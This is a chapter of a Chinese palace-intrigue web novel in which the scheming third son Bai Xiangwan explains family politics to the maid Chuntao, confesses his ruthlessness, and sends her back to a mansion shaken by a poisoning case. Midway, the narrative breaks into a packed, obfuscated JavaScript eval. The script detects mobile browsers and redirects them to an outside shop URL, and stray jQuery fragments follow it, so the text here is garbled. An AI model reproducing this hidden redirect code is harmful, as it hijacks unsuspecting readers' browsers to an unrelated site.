“人走茶凉不代表从前的关系就断了，卢老太爷吏部尚书的时候提拔了多少人，如今卢家大宅修葺完成，昔日的门面就又充起来了，亲朋故旧少不得往来恭贺，这一来二去的，关系不就又回来了吗。而且白家万一又有个什么好歹，卢家要救，也得走关系，这酒鼾宴饱之际，卢三老爷稍稍流露出那么点意思，那些在官场里混成了精的人自然望风而动。”


    桃却是从话里听出来了一丝山雨欲来的感觉：“什么叫又有个好歹？白家要怎样了？不是说这次的事可以用钱摆平吗？”


    “不用怕，白家的命数还没完呢。”白向晚起身，给自己和春桃水杯里添了茶，道，“周家不可能就这么收手，对白家的敲打不会停的，而且西北战事一定，周家正好可以腾出手来。最快年前，迟一点年后，大老爷的官位恐怕要不保了。”


    毕竟再怎么整庄氏，庄氏一个女眷，最极限也就是被白家休弃，周家没道理光整庄氏，只要官位在，白家就倒不了，所以致命一击定然在大老爷的官位上。这次庄氏的事情能闹得那么大惊动了官府，肯定是周家的手笔，但周氏被毒死，庄氏必然不是主谋，周家这么做，无非是为了引蛇出洞，惊弓之鸟的白大老爷为保荣禄难保不会行差踏错，到时候收拾起来，甚至都不用脏了周家的手。


    “那周家就不怕白家把当年的秘密抖出来，拉着周家一起死啊？”


    “当年的事，非同小可，直接影响的就是圣人的地位。牺牲部分利益和满门抄斩，白家还是分得清的。而且越到这个时候，白家越会捂死这件事，因为周家也很清楚穷寇莫追的道理，不会将白家赶尽杀绝。白家有卢家兜底，还没到山穷水尽的时候，真要抖出来反而会让周家下死手。”


    “那事儿，真这么严重啊。”春桃眼中的恐慌不似作假。


    白向晚却并不打算与她再掰扯那件“大不韪”的事，而是接着道：“等卢家出手之后，周家自然会收手，周家和瞿家势同水火，又和荣保打的你来我往，实在无需再多一个敌手。”


    “然后白家就彻底渡过这一劫了吗？”


    白向晚品着杯子里的茶，点了点头。


    暂时是的。


    “所以，你明白了吗？”


    春桃笑道：“明白了。”


    白向晚这么大费唇舌和她分析时政，其实用意有二。


    其一，告诉她白家倒不了，让她放心大胆的施展拳脚，其二，明确之后的运作方向——助大太太自救，推动卢白联姻，巩固自己的地位。


    这其间有太多可运作的地方了！春桃简直斗志满满。


    其实还有第三个用意。


    白向晚满意的看了一眼外面的天色。


    又和春桃单独呆了一个下午呢。


    “你之前不是想学看账吗。”


    他们交换了一个眼神，彼此都知道对方的意思。


    “是啊。”春桃笑道。


    “现在可以学了，我用陈家的旧账教你。”


    “是，奴婢去拿蜡烛。”


    “我帮你。”


    .


    书桌前，两个人有说有笑的整理着，为一会上课做准备。


    突然，春桃笑意未停，淡淡的问了一句：“三爷，二太太死的事，您事前知道吗？”


    既然他这么聪明，这么先知，考虑事情那么周全，那白家对二太太周氏的动作，定然也难逃他的眼睛，所以他是提前就知道白家要害二太太，所以放任不管，还是，二太太死的事，完全就是他为了后续的事推动的……


    春桃也不知道自己是怎么了，其实话问出口的瞬间春桃就后悔了，不管她效忠的是个有头脑的好人，还是有头脑的坏人，这都与她毫无关系，可她就是想知道，人生中第一次，她没有按照“事不关己高高挂起”的信条去做，而是想知道确切的真相，想知道，白向晚好看的皮囊之下，到底是人是鬼。


    这并不理智，她到底怎么了……


    白向晚的笑意淡了下去，垂下了眼睫，渐渐变暗的天光中，浓密纤长的睫毛在脸上落下一道阴影：“我知道白家与李家曾有过约定，也知道白家被逼的狗急跳墙，必然有所动作，为了引周家打压白家，我曾试图引导二太太发现李氏的存在，推动她与二老爷和离，可还没来得及动作，李氏就自己找上了二太太，在我慌忙调整方案时，二太太就殁了。”


    说罢，白向晚转过身，直直的看着春桃：“春桃，世间万事难裁剪，纵然我机关算尽，也是难求万全的。尤其是在后宅，我的控制力并不如你所想的那么强，所以我才会发掘你，将陈芜香的身契攥在手里，要你们的效忠，为的就是能在我顾及不到的地方伸出一只手去，让我安心的在外面去打拼，明白了吗？”


    “奴婢失言。”


    “无妨，你可以在我面前畅所欲言，只是春桃，我需要你知道，不论从前在你眼中我是什么形象，我需要你知道真正的我。我不是善人，相反的，我手上沾了不少人的血，有罪大恶极的，也有完全无辜的，或许从前没有，以后也一定会有，为了达成我的目的，我无所谓。我能成事，就是通过干涉别人的因果，这能救一部分人，但更有可能的是有人因此受害。春桃，你可以这样问我，但你也已经无路可退了，你是我手中的刀，只是现在还尚未开刃。因为某些原因，我会尽全力保证你的安全，但也止步于此了，我手上沾的血，你以后也会沾染，你已经在我的因果中，我不会——”


    不知什么时候，白向晚已经抓住了春桃的双臂，他越说越快，似是被人紧逼着说出来一般，也顾不得什么该说什么不该说，越说越恨，越说越怕，直到春桃掷地有声的一声呼唤，才震得他如梦初醒。


    “三爷！”春桃眨巴着眼睛，其间不无担心，时刻提醒着白向晚他的失态。


    春桃斩钉截铁道：“我知道了。”


    白向晚只是看着她，眼中秋水凝滞，分明说着你不该疑我，张口却只是一个“好”字，只瞧得春桃心碎了半边，后悔莫及。


    夜里，春桃望着天边的皎皎长月，脑海里思绪翻涌，一遍遍回想着白向晚傍晚的模样，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035773|187624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一种荒谬的可能在她心中落地生根，紧接着越想越确凿，直到最后，春桃一个鲤鱼打挺站在了床上，吓得一脊背冷汗。


    没准儿绣桔说的是对的，没准儿……


    第二日一大早，春桃吩咐庄头们暂时先按兵不动，先派了小石头回城去探听一下情况，得到的结果是，白家依旧处在被戒严的状态中，春桃只得让庄头们再做几日盘桓。


    这几日里，春桃的确是日日去白向晚那里学习看账，白向晚也依旧教她，只是总有种奇怪的感觉横亘在两人中间，两个人但凡是有很长的一段时间不说话，那种诡异的感觉就愈演愈烈，到最后，春桃已经不敢去和白向晚对视，一旦发现白向晚盯着自己看，就疯狂喝水缓解尴尬。白向晚自然也感受到了春桃的刺挠，很礼貌的收回了自己的视线，只是教她学习看账，可春桃依旧感到不自在。


    白府的警报解除之后，春桃向白向晚道了别，领着庄头们和乌泱泱的收成开进了上京城。


    庄氏经此一役，精神头垮了不少天，躺在床上请医问药的，灵棋素织和崔奶奶又都在衙门里关押着，只得将清点年货的任务交给了春桃。春桃在庄氏榻前痛哭流涕，说决定努力研习看账，若是自己早先会看得懂账本，兴许就能在这次事件中不让太太受罪了，这番忠心耿耿的慷慨陈词，给庄氏也感动的一塌糊涂，当即说要让崔奶奶以后多指点指点春桃。


    春桃领了命，先回后院去安顿，便见后院和五间上房都紧掩住门户，平日里人挤人的后院此刻落针可闻。正当春桃疑惑之际，二等丫鬟房“吱呀”一声，开了房门。


    “春桃？是你回来了？”出来的是明儿和秋鸾，二人面上皆是神情惴惴，显然此次庄氏遭殃，奴才们也都受了不同程度的波及，整个宜兰院都被控制了起来，丫鬟们自然是不允许走动的，便将住处临时做了关押所。


    “可吓毁了我了！”秋鸾心有余悸道，“一连五六天，房门也不让出，外头全是举着火把的官兵，提了人直接就在后院审，我几时见过这阵仗啊！”


    被秋鸾的大嗓门儿一嚷嚷，粗使丫鬟房的奴婢们也都颤巍巍的出来见了天光。有几个胆子大的，摸索着到了春桃身边，问道：“春桃姐姐，到底出什么事了？我们什么都还不知道呢。”


    此刻后院里面春桃最大，便让秋鸾将后院仆妇都召集起来，对众人安抚道：“事情都已经了结了，此事兹事体大，一时半刻也都说不清楚。你们都要时刻警醒着，别与别人论及此事，也别到处乱打听，中午放饭之后，都各自去干活吧，如今已经没事儿了。”


    众人都领命散去，宜兰院底层的运行也总算是重新缓慢地开展起来了。


    秋鸾来扯了扯春桃的衣角，道：“这几日，你不在，灵棋素织和崔奶奶都被带走了，翠陌在前面伺候太太起居，你们几个的屋子都空了。”


    春桃也只得无奈道：“太太已经了结了这事儿，下午人就能接出来了，你选几个小丫鬟下午跟我去接人，我估摸着她们受了不少罪呢。”


    秋鸾点了点头。